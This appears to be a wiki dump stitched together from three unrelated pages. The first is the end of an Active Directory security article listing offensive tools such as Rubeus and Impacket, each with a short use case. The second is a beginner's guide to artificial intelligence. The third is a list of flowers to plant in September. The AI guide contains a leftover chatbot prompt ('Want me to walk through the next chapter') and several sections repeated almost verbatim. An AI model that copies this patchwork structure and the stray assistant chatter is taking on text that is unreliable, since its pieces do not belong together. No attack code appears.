=== Offensive Tools ===
{| class=&quot;wikitable&quot;
!Tool
!Language
!Use Case
|-
|[[github:GhostPack/Rubeus|Rubeus]]
|C#
|Kerberos attacks, ticket manipulation
|-
|[[github:PowerShellMafia/PowerSploit|PowerSploit]]
|PowerShell
|Enumeration, exploitation
|-
|[[github:BloodHoundAD/BloodHound|BloodHound]]
|JavaScript/Python
|AD attack path visualization
|-
|[[github:fortra/impacket|Impacket]]
|Python
|Remote exploitation, secretsdump
|-
|[[github:byt3bl33d3r/CrackMapExec|CrackMapExec]]
|Python
|Network pentesting automation
|-
|[[github:MichaelGrafnetter/DSInternals|DSInternals]]
|PowerShell
|NTDS.dit parsing, offline analysis
|}

=== Defensive Tools ===
{| class=&quot;wikitable&quot;
!Tool
!Use Case
|-
|Microsoft Defender for Identity (MDI)
|Detects AD attacks in real-time
|-
|BloodHound Enterprise
|Continuous attack path monitoring
|-
|Purple Knight
|AD security assessment
|-
|Ping Castle
|AD risk assessment
|}

== Further Reading ==

* [https://attack.mitre.org/tactics/TA0006/ MITRE ATT&amp;CK — Credential Access]
* [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ Microsoft AD Documentation]
* [https://adsecurity.org/ Active Directory Security Blog]
* [https://book.hacktricks.xyz/windows-hardening/active-directory-methodology HackTricks — AD Methodology]

== See Also ==

* [[Ethical Hacking]]
* [[Network Security]]
* [[Kerberos Authentication Protocol]]
* [[Windows Security]]</text>
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== AI for Beginners ==

=== A Friendly, Practical Guide to Understanding Artificial Intelligence ===
----&lt;nowiki&gt;[[toc]]&lt;/nowiki&gt;

Introduction

Artificial Intelligence used to feel like something from science fiction — robots, spaceships, machines that think for themselves. Today it's something most of us touch before breakfast: the phone that unlocks by recognizing your face, the app that finishes your sentence, the playlist that somehow knows your mood better than your best friend does.

This book is for the person who keeps hearing the word &quot;AI&quot; everywhere and wants to actually understand what it means — without needing a computer science degree to get there. We'll go step by step, starting with the basics and building up to real, working knowledge of how modern AI systems are built, trained, and used.

Each chapter stands on its own but also builds on the one before it. If you're brand new to the topic, read them in order. If you already know the basics of machine learning and want to jump to, say, ethics or generative AI, feel free to skip ahead.

By the end, you won't be an AI engineer — but you'll understand what's actually happening under the hood, you'll be able to hold your own in a conversation about it, and you'll know where to go next if you want to dig deeper.

Let's get started.
----

== Chapter 1: What Is Artificial Intelligence, Really? ==

=== The simple definition ===
At its core, Artificial Intelligence is the effort to build machines that can perform tasks which normally require human intelligence — things like recognizing speech, making decisions, translating languages, or spotting patterns in data.

That's a broad definition on purpose, because AI isn't one single technology. It's a field, much like &quot;medicine&quot; or &quot;engineering&quot; is a field. Inside it live many different approaches, tools, and subfields, some of which have almost nothing in common with each other on a technical level.

A few things worth holding onto:

'''It's a field, not one technology.''' Just like &quot;medicine&quot; covers everything from surgery to psychiatry, &quot;AI&quot; covers many different approaches and tools, some of which have almost nothing in common under the hood.

'''Narrow AI vs. General AI.''' Nearly everything you've ever interacted with — chatbots, recommendation systems, self-driving features, image generators — is ''narrow AI'': built to do one job well, and nothing outside it. ''Artificial General Intelligence (AGI)'' — a system with human-like flexible intelligence that can learn any task — doesn't exist yet. It's a goal, not a current reality.

'''AI, machine learning, and deep learning aren't the same thing.''' They're nested:

* AI is the overall goal (machines behaving intelligently)
* Machine learning is one approach — letting a system learn patterns from data instead of hand-coding every rule
* Deep learning is a specific technique within machine learning, using layered neural networks

Not all AI is machine learning, either. Early AI (like 1980s medical diagnosis programs) ran on hand-written logical rules — &quot;if symptom X and Y, consider diagnosis Z&quot; — with no learning involved at all.

'''The simplest way to think about it:''' an AI system improves its performance on a task by learning from examples, rather than being told every rule in advance. That one idea underlies almost everything else in the field.

Want me to walk through the next chapter — the history of how AI actually got here — or go deeper on any part of this one?

=== Narrow AI vs. General AI ===
It helps to draw a line between two very different ideas that often get blurred together:

* Narrow AI (also called Weak AI): Systems built to do one specific job really well — recommend a movie, detect spam email, drive a car on a highway, generate a paragraph of text. Every AI system in common use today, including the most impressive ones, falls into this category. It might be extraordinarily good at its job, but it can't do anything outside that job.
* Artificial General Intelligence (AGI): A hypothetical system with human-like flexible intelligence — one that could learn any intellectual task a person can, reason across domains, and adapt to entirely new situations without being retrained. AGI does not exist yet, and there's genuine disagreement among researchers about how close we are, or even what it would look like when it arrives.

Nearly everything discussed in this book — including the impressive chatbots and image generators you may have used — is narrow AI, even when it feels remarkably general in conversation.

=== AI, machine learning, and deep learning: not the same thing ===
People often use these three terms interchangeably, but they describe nested ideas:

* Artificial Intelligence is the overall goal: building machines that behave intelligently.
* Machine Learning (ML) is one approach to AI — instead of hand-coding every rule, you let the system learn patterns from data.
* Deep Learning is a specific technique within machine learning that uses layered neural networks, loosely inspired by the human brain, to learn from large amounts of data.

Think of it like a set of nesting dolls: AI is the outermost doll, machine learning sits inside it, and deep learning sits inside that.

Not all AI is machine learning. Early AI systems, like chess programs from the 1980s or rule-based medical diagnosis tools, worked by following carefully hand-written logical rules — &quot;if the patient has symptom X and Y, consider diagnosis Z.&quot; No learning from data was involved. That approach is sometimes called symbolic AI or Good Old-Fashioned AI (GOFAI).

=== Why AI feels new when it isn't ===
The ideas behind AI go back to the 1950s. What changed recently isn't the core concept — it's three things arriving together: much more data to learn from (thanks to the internet), much more computing power (thanks to advances in hardware, especially graphics processors), and refined algorithms that can actually take advantage of both. We'll trace that story in the next chapter.

=== A working mental model ===
For the rest of this book, it's useful to hold onto one simple mental model: an AI system is a program that improves its performance on a task by learning from examples, rather than by being explicitly told every rule in advance. Keep that idea in your back pocket — nearly everything else in this book is a variation on it.

Let's dig into the parts that usually raise the most questions.

'''Narrow AI is more varied than it sounds.''' &quot;Narrow&quot; doesn't mean simple — a narrow AI system can be staggeringly sophisticated within its lane. GPT-style language models can write essays, debug code, and hold fluid conversations, which ''feels'' general. But they can't, say, learn to play a new video game by watching you play it once, or notice they're out of a task and go find themselves a new one. Every capability has to be built or trained in — there's no underlying flexible &quot;mind&quot; directing it. That's the real dividing line: not how impressive the output is, but whether the system can transfer its intelligence to problems it wasn't built or trained for.

'''AGI is a genuinely contested idea, not just an engineering milestone.''' Researchers don't agree on:

* What AGI would even look like when it arrives (is it a single moment, or a gradual blur?)
* How close we are — estimates from serious researchers range from &quot;possibly this decade&quot; to &quot;many decades away, if ever&quot;
* Whether current approaches (scaling up transformer-based models) are even the right path to it, or whether it needs fundamentally different architecture

So when you hear confident claims either way — &quot;AGI is basically here&quot; or &quot;AGI is a myth&quot; — treat both with some skepticism. It's an open scientific and philosophical question, not a settled fact.

'''Symbolic AI didn't fail because the idea was bad — it failed because the world is messier than rules.''' Old-school &quot;GOFAI&quot; systems worked by encoding human expert knowledge as logical rules. The problem: real-world knowledge is full of exceptions, ambiguity, and context that's nearly impossible to write down exhaustively. A rule like &quot;birds can fly&quot; needs endless patches for penguins, ostriches, injured birds, baby birds, and so on. Machine learning sidesteps this by ''learning'' the pattern from thousands of examples instead of someone hand-writing it — which is why it scaled to messy real-world problems in a way rule-based systems never could.

'''Why &quot;new&quot; AI is really &quot;old idea, new conditions.&quot;''' The core techniques behind today's AI — neural networks, gradient descent, even transformers' core ideas — mostly existed decades earlier in some form. What changed was the environment around them:

* '''Data:''' the internet created oceans of text, images, and interactions to learn from — something 1980s researchers simply didn't have access to
* '''Compute:''' GPUs, built for rendering video game graphics, turned out to be perfect for the matrix math neural networks need — giving a massive, almost accidental speed boost
* '''Algorithms:''' refinements like better training techniques and the 2017 transformer architecture made it possible to actually take advantage of that data and compute

None of these alone would have caused the current wave — it took all three landing at roughly the same time.
----

== Chapter 2: A Brief History of AI ==
Understanding where AI came from makes it much easier to understand where it's going. This is a field that has swung between huge optimism and long stretches of disappointment — twice.

=== The birth of the field (1950s) ===
In 1950, mathematician Alan Turing published a paper proposing a way to think about whether a machine could be said to &quot;think&quot; — what later became known as the Turing Test. A machine passes if a human evaluator can't reliably distinguish its written responses from a human's.

The term &quot;Artificial Intelligence&quot; itself was coined in 1955 by John McCarthy, who used it in a proposal for a summer research workshop at Dartmouth College in 1956. That workshop, attended by researchers including Marvin Minsky, Nathaniel Rochester, and Claude Shannon, is generally treated as the founding event of AI as a formal field of study.

=== Early optimism and the first &quot;AI winter&quot; (1950s–1970s) ===
Early researchers were confident that human-level intelligence in machines was just a couple of decades away. Programs like the ''Logic Theorist'' and ''General Problem Solver'' could prove mathematical theorems and solve puzzles, fueling that optimism.

But progress stalled. The computers of the era were too weak, the available data too limited, and many real-world problems turned out to be far harder than they looked on paper. Government funding dried up in both the US and UK during the 1970s — a period now called the first AI winter.

=== Expert systems and the second winter (1980s–1990s) ===
AI came back into fashion in the 1980s through expert systems — programs that encoded the knowledge of human specialists as large sets of if-then rules, used in fields like medical diagnosis and mineral exploration. Companies invested heavily.

These systems were brittle, though — expensive to build, hard to update, and useless outside their narrow domain. By the late 1980s, funding collapsed again, triggering a second AI winter that lasted into the early 1990s.

=== The quiet rebuilding (1990s–2000s) ===
Away from the hype, machine learning kept advancing quietly. In 1997, IBM's Deep Blue defeated world chess champion Garry Kasparov — a landmark, though Deep Blue relied on brute-force search rather than learning. Statistical methods and early neural networks steadily improved in the background, largely unnoticed outside academic circles.

=== The deep learning breakthrough (2010s) ===
The turning point most researchers point to is 2012, when a neural network called AlexNet, developed by Alex Krizhevsky, Ilya Sutskever, and Geoffrey Hinton, dramatically outperformed every competitor in the ImageNet image-recognition competition. It showed that deep neural networks, trained on large datasets using powerful graphics processors (GPUs), could blow past older methods.

That result kicked off a wave of progress: speech recognition, machine translation, and image recognition all improved rapidly through the 2010s. In 2016, Google DeepMind's AlphaGo defeated world champion Go player Lee Sedol — a milestone considered far harder than chess because of the sheer number of possible positions in Go.

=== The generative AI era (2020s) ===
The most recent shift has been the rise of large language models and generative AI. OpenAI's GPT series, Google's Gemini, Anthropic's Claude, and similar systems are trained on enormous amounts of text and can generate human-like writing, hold conversations, write code, and much more. Alongside them came image generators like DALL·E, Midjourney, and Stable Diffusion, capable of producing original images from a text description.

This is the moment in history you're reading this book in — a period when AI tools moved from research labs into daily use by hundreds of millions of people within a few short years.

----

== Chapter 3: How Machines Learn — The Basics of Machine Learning ==

=== Learning from examples, not instructions ===
Traditional software works by following instructions: a programmer writes exact rules, and the computer executes them. Machine learning flips that around. Instead of writing rules, you give the system a large number of examples, and it works out the rules — or something functionally like rules — on its own.

Say you want a program that can tell cats from dogs in photos. Writing explicit rules (&quot;if the ears are pointy and the nose is small...&quot;) is a losing battle — there are too many exceptions. Instead, you show a machine learning system thousands of labeled photos of cats and dogs, and it gradually learns the statistical patterns that distinguish them.

=== The core ingredients ===
Every machine learning system, no matter how sophisticated, is built from the same basic ingredients:

# Data — the examples the system learns from. Quality and quantity both matter enormously; a model is only as good as the data it's trained on.
# A model — the mathematical structure that will learn patterns from the data. This can be something simple, like a straight line fitted to points on a graph, or something enormously complex, like a neural network with billions of parameters.
# A loss function — a way of measuring how wrong the model's predictions are. Training is essentially the process of shrinking this number.
# An optimization algorithm — the method used to adjust the model, step by step, to reduce that error. The most common one in deep learning is called gradient descent.

=== Training, validation, and testing ===
Machine learning practitioners typically split their data into three groups:

* Training data — what the model actually learns from.
* Validation data — used during development to check how well the model is generalizing, and to tune settings.
* Test data — a final, untouched set used only at the end, to get an honest measure of real-world performance.

Keeping these separate matters enormously. A model that just memorizes its training data — a problem called overfitting — can score perfectly on the data it has seen and still fail badly on anything new.

=== Features and representations ===
A &quot;feature&quot; is simply a measurable property used as input — a house's square footage, a patient's blood pressure, a pixel's brightness. Older machine learning systems relied heavily on humans to hand-select good features. Deep learning changed this by allowing the system to discover useful features on its own, directly from raw data like images or audio — a shift often called representation learning.

=== Why more data usually helps (up to a point) ===
Machine learning models generally get better with more good-quality training data, because more examples give them a fuller picture of the patterns they're trying to learn. But this isn't unlimited — badly labeled, biased, or irrelevant data can actively hurt performance, no matter how much of it there is. This is where the well-known saying &quot;garbage in, garbage out&quot; applies directly.
----

== Chapter 4: The Three Main Types of Machine Learning ==
Machine learning approaches are usually grouped into three broad categories, based on what kind of data they learn from and what kind of feedback guides their learning.

=== 1. Supervised Learning ===
This is the most common and most mature branch of machine learning. The system learns from labeled data — examples that already come with the correct answer attached.

* Classification tasks predict a category: is this email spam or not spam? Is this tumor benign or malignant?
* Regression tasks predict a number: what will this house sell for? How many minutes will this flight be delayed?

Supervised learning powers most of the machine learning used in business today — fraud detection, credit scoring, recommendation systems, medical image analysis, and more. Its main limitation is that it needs labeled data, which can be expensive and slow to produce, especially at scale.

=== 2. Unsupervised Learning ===
Here, the system is given data without labels and has to find structure on its own.

* Clustering groups similar items together — for example, segmenting customers into groups with similar shopping habits, without being told in advance what those groups should be.
* Dimensionality reduction compresses complex data down to its most important patterns, useful for visualization and for speeding up other algorithms.
* Anomaly detection flags unusual data points — a common technique in fraud detection and industrial equipment monitoring.

Unsupervised learning is powerful precisely because it doesn't need labeled data, but the patterns it finds aren't always meaningful or useful without a human interpreting them.

=== 3. Reinforcement Learning ===
Reinforcement learning (RL) works differently from the other two. Instead of learning from a fixed dataset, an agent learns by interacting with an environment, taking actions, and receiving rewards or penalties based on the outcome. Over time, it learns a strategy — called a policy — that maximizes its cumulative reward.

This is the approach behind game-playing systems like AlphaGo, robotics control, and — notably — the fine-tuning stage used to make modern chatbots more helpful and better-behaved, a technique known as Reinforcement Learning from Human Feedback (RLHF).

=== A fourth, hybrid category: Self-Supervised Learning ===
Much of the recent progress in AI, especially large language models, actually comes from a technique called self-supervised learning. The system generates its own labels from the raw data itself — for example, by hiding a word in a sentence and training the model to predict it. This lets systems learn from massive amounts of unlabeled text or images without needing humans to label anything by hand, and it's the foundation underneath most of today's large AI models.
----

== Chapter 5: Neural Networks and Deep Learning ==

=== Inspired by, not identical to, the brain ===
Artificial neural networks are loosely inspired by biological neurons, but the comparison shouldn't be taken too literally — they are mathematical structures, not simulated brain tissue.

A neural network is built from layers of simple units called neurons (or nodes). Each neuron takes in numbers, multiplies them by adjustable values called weights, adds them up, and passes the result through a mathematical function before sending it to the next layer.

A typical network has:

* An input layer, which receives the raw data (pixel values, word representations, sensor readings).
* One or more hidden layers, where the actual pattern-learning happens.
* An output layer, which produces the final prediction.

When a network has many hidden layers, it's called a deep neural network — hence &quot;deep learning.&quot;

=== How networks actually learn: backpropagation ===
Training a neural network means adjusting all those weights so the network's outputs get closer to the correct answers. This is done through an algorithm called backpropagation, combined with gradient descent: the network makes a prediction, measures how wrong it was, and then works backward through the layers, adjusting each weight slightly in the direction that would have reduced the error. Repeated over millions of examples, this gradually tunes the network into something useful.

=== Specialized architectures ===
Different problems call for different network designs:

* Convolutional Neural Networks (CNNs) are especially good at processing images. They use filters that scan across an image detecting local patterns — edges, textures, shapes — building up to recognition of whole objects.
* Recurrent Neural Networks (RNNs) were historically used for sequential data like text or time series, processing one element at a time while keeping a &quot;memory&quot; of what came before.
* Transformers, introduced in a highly influential 2017 paper titled &quot;Attention Is All You Need&quot; by Vaswani and colleagues at Google, replaced much of the older RNN approach. Transformers process entire sequences at once using a mechanism called self-attention, which lets the model weigh the importance of different words relative to each other regardless of their distance apart in a sentence. Transformers are the architecture behind essentially every major large language model in use today.

=== Why deep learning needs so much computing power ===
Training a large neural network involves adjusting billions of weights across millions or billions of examples, with each adjustment requiring substantial arithmetic. This is why the rise of deep learning tracked closely with the rise of powerful, parallel-processing graphics processing units (GPUs) — hardware originally built for rendering video game graphics turned out to be extremely well-suited to the kind of matrix math neural networks require.
----

== Chapter 6: Natural Language Processing — Teaching Machines to Understand Language ==

=== What NLP actually covers ===
Natural Language Processing (NLP) is the branch of AI focused on enabling computers to work with human language — reading it, understanding it, generating it, and translating it. It covers everything from simple spell-checkers to sophisticated conversational AI.

Common NLP tasks include:

* Machine translation (translating between languages)
* Sentiment analysis (determining whether a piece of text is positive, negative, or neutral)
* Named entity recognition (identifying people, places, and organizations in text)
* Summarization (condensing long text into shorter form)
* Question answering and conversational AI

=== From words to numbers: embeddings ===
Computers can't work directly with words — everything eventually has to become numbers. Early NLP systems represented words as simple counts or one-hot vectors, which captured no meaning at all — &quot;cat&quot; and &quot;kitten&quot; looked as different to the machine as &quot;cat&quot; and &quot;airplane.&quot;

Word embeddings, popularized by techniques like Word2Vec in 2013, changed this by representing each word as a point in a multi-dimensional space, positioned so that words used in similar contexts end up near each other. This meant, for the first time, that a machine's internal representation of language captured something resembling actual meaning and relationships.

=== Large language models ===
The current generation of NLP is dominated by large language models (LLMs) — transformer-based systems trained on enormous quantities of text to predict the next word (or token) in a sequence. Despite that relatively simple training objective, at sufficient scale this produces systems capable of holding conversations, writing essays, summarizing documents, translating languages, and generating working code.

It's worth understanding what these models are actually doing under the hood: they are extremely sophisticated pattern-matching and prediction systems. They don't &quot;know&quot; facts the way a person does — they generate the statistically most plausible continuation of the text they've been given, based on patterns learned from their training data. This is precisely why these systems can sometimes state confident-sounding falsehoods, a well-documented phenomenon usually called hallucination.

=== Why context length matters ===
A key limitation of language models is their context window — the amount of text they can consider at once. Early models could only handle a few hundred words at a time; modern systems can handle entire books. A larger context window lets a model keep track of longer conversations, documents, or codebases without losing track of earlier details.
----

== Chapter 7: Computer Vision — Teaching Machines to See ==

=== The basic challenge ===
To a computer, an image is just a grid of numbers representing the brightness and color of each pixel. Computer vision is the field concerned with getting useful, meaningful information out of that grid — identifying objects, reading text, tracking movement, and more.

=== Core tasks in computer vision ===

* Image classification — assigning a single label to an entire image (&quot;this is a photo of a dog&quot;).
* Object detection — identifying and locating multiple objects within an image, typically by drawing bounding boxes around them.
* Image segmentation — going a step further than detection, by classifying every individual pixel in an image (useful in, for example, self-driving cars distinguishing road from sidewalk from pedestrian).
* Facial recognition — identifying or verifying a person's identity from their face, a capability that carries significant ethical and privacy concerns, covered in Chapter 9.
* Optical Character Recognition (OCR) — converting images of text into machine-readable text.

=== How it works today ===
As mentioned in Chapter 5, convolutional neural networks were the technique that made modern computer vision possible, learning to detect increasingly complex visual patterns layer by layer — simple edges in early layers, then shapes, then whole objects in later layers. More recently, transformer-based architectures adapted from language models (called Vision Transformers) have also become competitive with, and in some cases superior to, CNNs for many vision tasks.

=== Generative computer vision ===
The same underlying principles that power text generation have been adapted to generate images. Modern image generators like DALL·E, Midjourney, and Stable Diffusion use an approach called diffusion models — trained by learning to reverse a process of gradually adding random noise to an image, they can start from pure noise and progressively &quot;denoise&quot; it into a coherent image matching a text description.
----

== Chapter 8: AI in Everyday Life and Across Industries ==
AI has moved well past the research lab. Here's where it's actually being used right now, often invisibly.

=== In your pocket and your home ===

* Recommendation systems on Netflix, YouTube, Spotify, and Amazon predict what you'll want to watch, hear, or buy next, based on your past behavior and the behavior of similar users.
* Voice assistants like Siri, Alexa, and Google Assistant combine speech recognition, natural language understanding, and speech generation.
* Predictive text and autocorrect on your phone's keyboard use language models to guess your next word.
* Photo organization apps use computer vision to automatically group photos by the people and places in them.

=== In healthcare ===
AI systems assist in reading medical images (X-rays, MRIs, mammograms) to help flag potential abnormalities for radiologists to review, predict patient risk for conditions like sepsis or readmission, and accelerate drug discovery by predicting how candidate molecules might behave. A widely cited example is DeepMind's AlphaFold, which made a major breakthrough in predicting the 3D structure of proteins from their amino acid sequence — a problem biologists had worked on for decades.

=== In finance ===
Banks and financial institutions use machine learning for fraud detection (spotting unusual transaction patterns in real time), credit scoring, algorithmic trading, and customer service chatbots.

=== In transportation ===
Self-driving car systems combine computer vision, sensor fusion, and reinforcement learning to perceive their surroundings and make driving decisions. Even in ordinary cars, AI powers features like lane-keeping assistance and adaptive cruise control. Logistics companies use AI to optimize delivery routes and warehouse operations.

=== In business and productivity ===
AI now assists with drafting emails and documents, summarizing meetings, writing and debugging code, analyzing spreadsheets, generating marketing content, and powering customer service chatbots — often through the same large language model technology discussed in Chapter 6.

=== In agriculture ===
AI-powered systems analyze satellite and drone imagery to monitor crop health, predict yields, and optimize irrigation and fertilizer use — an application area with particular relevance in regions where precision farming can meaningfully improve food security.

=== In science and research ===
Beyond AlphaFold, AI tools are being used to help design new materials, discover drug candidates, model climate systems, and analyze astronomical data at a scale no team of humans could process manually.
----

== Chapter 9: Ethics, Bias, and Responsible AI ==
AI's growing influence over decisions that affect people's lives — who gets a loan, who gets interviewed for a job, what news you see — makes its ethical dimensions impossible to ignore. This chapter covers the issues you're most likely to encounter in any serious discussion of AI.

=== Bias in, bias out ===
Machine learning systems learn patterns from historical data, and historical data often reflects historical inequality. If a hiring model is trained on a company's past hiring decisions, and those past decisions favored certain groups over others, the model can learn to replicate — and sometimes amplify — that same bias, even without ever being told anyone's demographic group directly. This has been documented in real deployed systems, including hiring tools, facial recognition systems (which have shown measurably lower accuracy for women and people with darker skin tones), and criminal risk-assessment tools used in some US courts.

Addressing this requires careful attention to training data, ongoing auditing of model outputs, and, in many cases, deliberately testing systems across different demographic groups before deployment.

=== Privacy ===
AI systems, especially those trained on personal data or deployed for surveillance purposes (like facial recognition in public spaces), raise serious privacy concerns. Questions about consent — did people agree to have their data used this way? — and about who controls and can access sensitive inferences drawn about individuals are active areas of legal and ethical debate worldwide.

=== Transparency and explainability ===
Many powerful AI models, especially deep neural networks, function as &quot;black boxes&quot; — it's often difficult, even for their creators, to fully explain why the model produced a particular output. This becomes a serious problem in high-stakes settings like medical diagnosis or criminal justice, where an affected person may have a right to understand the reasoning behind a decision that affects them. This has given rise to a research field called explainable AI (XAI), aimed at building tools and techniques to make model decisions more interpretable.

=== Job displacement ===
AI's ability to automate cognitive tasks, not just physical ones, has raised legitimate concerns about its effect on employment. Economists and researchers disagree about the scale and pace of this disruption — some emphasize job displacement, others emphasize job transformation and the creation of new kinds of work — but there's broad agreement that certain tasks and roles will change significantly, and that supporting workers through that transition is a real policy challenge.

=== Misinformation and deepfakes ===
Generative AI can produce highly realistic fake images, audio, and video — commonly called deepfakes — as well as large volumes of convincing but false text. This has raised concerns about misinformation, fraud, and the erosion of public trust in what people see and hear online, and has prompted growing interest in content authentication and detection tools.

=== Environmental cost ===
Training large AI models, particularly large language models, requires substantial computing resources and energy. This has raised environmental concerns, and it's an active area of research to make training and running these models more energy-efficient.

=== Toward responsible AI ===
In response to these concerns, organizations and governments have developed various frameworks and principles for &quot;responsible&quot; or &quot;trustworthy&quot; AI, generally emphasizing fairness, accountability, transparency, privacy, and human oversight. Regulatory efforts are also underway globally — for example, the European Union's AI Act, adopted in 2024, established a risk-based framework for regulating AI systems within the EU.

None of this makes AI inherently good or bad — like any powerful technology, its impact depends heavily on how thoughtfully it's designed, deployed, and governed.
----

== Chapter 10: Getting Started — Tools, Skills, and Learning Paths ==
If this book has sparked your curiosity and you want to go further, here's a practical roadmap.

=== If you want to use AI tools well (no coding required) ===

* Practice prompt engineering — the skill of writing clear, specific instructions to get better results from tools like ChatGPT, Claude, or Gemini. Being specific about format, tone, audience, and constraints makes a large difference in output quality.
* Explore tools across categories: writing assistants, image generators, coding assistants, and data analysis tools, to get a feel for what current AI can and can't do well.
* Follow reputable sources for AI news to keep up with a fast-moving field — this book will be a good foundation, but specific tools and capabilities change quickly.

=== If you want to build AI systems ===
A reasonable learning path looks like this:

# Programming fundamentals — Python is by far the dominant language in AI and machine learning, thanks to its readability and its rich ecosystem of libraries.
# Math foundations — a working understanding of linear algebra, calculus, probability, and statistics will make the underlying concepts click rather than feel like magic.
# Core machine learning — learn the fundamentals using accessible libraries like scikit-learn, working through classic problems (classification, regression, clustering) before moving to deep learning.
# Deep learning frameworks — PyTorch and TensorFlow are the two dominant frameworks for building neural networks; most modern research and industry work uses one or the other.
# Specialize — once you have the fundamentals, branch into an area that interests you: NLP, computer vision, reinforcement learning, or generative AI.
# Build real projects — nothing accelerates learning like applying these tools to a genuine problem, even a small one, and working through the inevitable debugging along the way.

=== Recommended starting resources ===

* ''Artificial Intelligence: A Modern Approach'' by Stuart Russell and Peter Norvig — the standard comprehensive textbook covering the breadth of the field.
* ''Deep Learning'' by Ian Goodfellow, Yoshua Bengio, and Aaron Courville — a rigorous, freely available foundation in deep learning theory.
* Andrew Ng's Machine Learning and Deep Learning courses (available through Coursera / DeepLearning.AI) — widely regarded as an accessible, well-structured entry point for beginners.
* The Hugging Face and PyTorch documentation and tutorials — practical, code-first resources for hands-on learners.

=== A note on staying grounded ===
AI is a field that moves fast and attracts a lot of hype in both directions — breathless optimism and doom-laden pessimism. The most useful posture, especially as a beginner, is curious skepticism: try the tools, understand their real capabilities and real limitations, and form your own view based on direct experience rather than headlines alone.
----

== Conclusion ==
Artificial Intelligence isn't magic, and it isn't a single invention — it's a decades-long, still-unfolding effort to build machines that can learn from data and perform tasks that once required human judgment. Understanding the basics covered in this book — the difference between narrow and general AI, how machine learning actually learns, what neural networks are doing under the hood, and the real ethical stakes involved — gives you a genuine foundation for making sense of a technology that is only going to become more woven into daily life.

Wherever you take this knowledge next — as a curious user, a future builder, or simply someone who wants to follow the conversation intelligently — you're now equipped with a real, working understanding of what AI is and how it works. That puts you ahead of most people talking about it.
----

== References and Further Reading ==

# Turing, A. M. (1950). &quot;Computing Machinery and Intelligence.&quot; ''Mind'', 59(236), 433–460.
# McCarthy, J., Minsky, M. L., Rochester, N., &amp; Shannon, C. E. (1955). &quot;A Proposal for the Dartmouth Summer Research Project on Artificial Intelligence.&quot;
# Russell, S., &amp; Norvig, P. (2020). ''Artificial Intelligence: A Modern Approach'' (4th ed.). Pearson.
# Goodfellow, I., Bengio, Y., &amp; Courville, A. (2016). ''Deep Learning''. MIT Press.
# Krizhevsky, A., Sutskever, I., &amp; Hinton, G. E. (2012). &quot;ImageNet Classification with Deep Convolutional Neural Networks.&quot; ''Advances in Neural Information Processing Systems (NeurIPS)''.
# Vaswani, A., Shazeer, N., Parmar, N., et al. (2017). &quot;Attention Is All You Need.&quot; ''Advances in Neural Information Processing Systems (NeurIPS)''.
# Mikolov, T., Chen, K., Corrado, G., &amp; Dean, J. (2013). &quot;Efficient Estimation of Word Representations in Vector Space.&quot; ''arXiv preprint arXiv:1301.3781''.
# Silver, D., Huang, A., Maddison, C. J., et al. (2016). &quot;Mastering the Game of Go with Deep Neural Networks and Tree Search.&quot; ''Nature'', 529, 484–489.
# Jumper, J., Evans, R., Pritzel, A., et al. (2021). &quot;Highly Accurate Protein Structure Prediction with AlphaFold.&quot; ''Nature'', 596, 583–589.
# Buolamwini, J., &amp; Gebru, T. (2018). &quot;Gender Shades: Intersectional Accuracy Disparities in Commercial Gender Classification.&quot; ''Proceedings of Machine Learning Research (FAT'')*, 81, 77–91.
# European Parliament and Council of the European Union (2024). &quot;Regulation (EU) 2024/1689 (Artificial Intelligence Act).&quot;
# Ng, A. ''Machine Learning'' and ''Deep Learning Specialization'' courses. DeepLearning.AI / Coursera.
# Ho, J., Jain, A., &amp; Abbeel, P. (2020). &quot;Denoising Diffusion Probabilistic Models.&quot; ''Advances in Neural Information Processing Systems (NeurIPS)''.

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      <text bytes="5157" sha1="8zbm5cfvrxpkikhp846nqj0q8ovk3o0" xml:space="preserve">'''Best Flowers to Plant in September for a Beautiful Fall Garden'''

September is an excellent time to refresh your garden with colorful flowers. As summer heat begins to fade, cooler temperatures create ideal conditions for many flowering plants to establish strong roots and produce beautiful blooms throughout fall.

Whether you have a large backyard, small garden, balcony, or container garden, there are plenty of flowers you can plant in September. Here are some of the '''best choices for creating a vibrant fall garden'''.

== 1. Chrysanthemums ==
Chrysanthemums, commonly called mums, are among the most popular fall flowers. They come in many colors, including yellow, orange, red, pink, purple, and white.

Mums prefer plenty of sunlight and well-drained soil. Water them regularly after planting, but avoid keeping the soil constantly soggy. With proper care, they can provide weeks of colorful blooms.

== 2. Pansies ==
Pansies are excellent cool-season flowers. Their cheerful, colorful faces make them a favorite for fall gardens, containers, window boxes, and garden borders.

Plant pansies in a location that receives several hours of sunlight. They prefer moist, well-drained soil and can continue flowering as temperatures become cooler.

== 3. Violas ==
Violas are closely related to pansies but generally produce smaller flowers. They are hardy, easy to grow, and available in a wide range of colors.

Because violas tolerate cool weather well, September planting can give them plenty of time to establish before colder conditions arrive.

== 4. Calendula ==
Calendula is a bright, cheerful flower that can add warm shades of yellow and orange to a fall garden. It grows well in full sun and prefers soil with good drainage.

Calendula can also be grown in containers, making it a practical choice for gardeners with limited space.

== 5. Sweet Alyssum ==
Sweet alyssum produces clusters of small, fragrant flowers. White is one of the most common colors, although pink and purple varieties are also available.

It works beautifully along garden edges, pathways, containers, and between larger plants. Give it sunlight and well-drained soil for healthy growth.

== 6. Snapdragons ==
Snapdragons are another excellent choice for a fall garden. Their tall flower spikes bring height and structure to flower beds, while their colorful blooms create an attractive display.

They grow best in fertile, well-drained soil with good sunlight. Deadheading spent flowers can encourage additional blooms.

== 7. Marigolds ==
Marigolds are easy-to-grow annuals that provide bright yellow and orange flowers. They perform particularly well in sunny locations and can be planted in garden beds or containers.

If your area still has relatively warm weather in September, marigolds can continue producing flowers well into fall.

== 8. Asters ==
Asters are classic late-season flowers that can bring purple, pink, blue, or white colors to the garden. They are especially useful for extending the flowering season when many summer plants begin to fade.

Plant asters in a sunny location with fertile, well-drained soil. They can work well in borders and mixed flower beds.

== 9. Zinnias ==
Zinnias are colorful flowers that can provide a strong burst of late-season color. They come in many shades and flower shapes, making them easy to incorporate into different garden styles.

They prefer full sun and reasonably fertile, well-drained soil. Regularly removing faded blooms can encourage more flowers.

== 10. Dianthus ==
Dianthus offers attractive flowers and, in many varieties, a pleasant fragrance. Their compact growth makes them suitable for borders, containers, and smaller gardens.

They generally prefer plenty of sunlight and soil that drains well. Avoid overwatering, as consistently wet soil can cause root problems.

== Tips for Planting Flowers in September ==
Before planting, prepare the soil by removing weeds and mixing in compost or other organic matter if needed. Choose plants that are suitable for your local climate and expected fall temperatures.

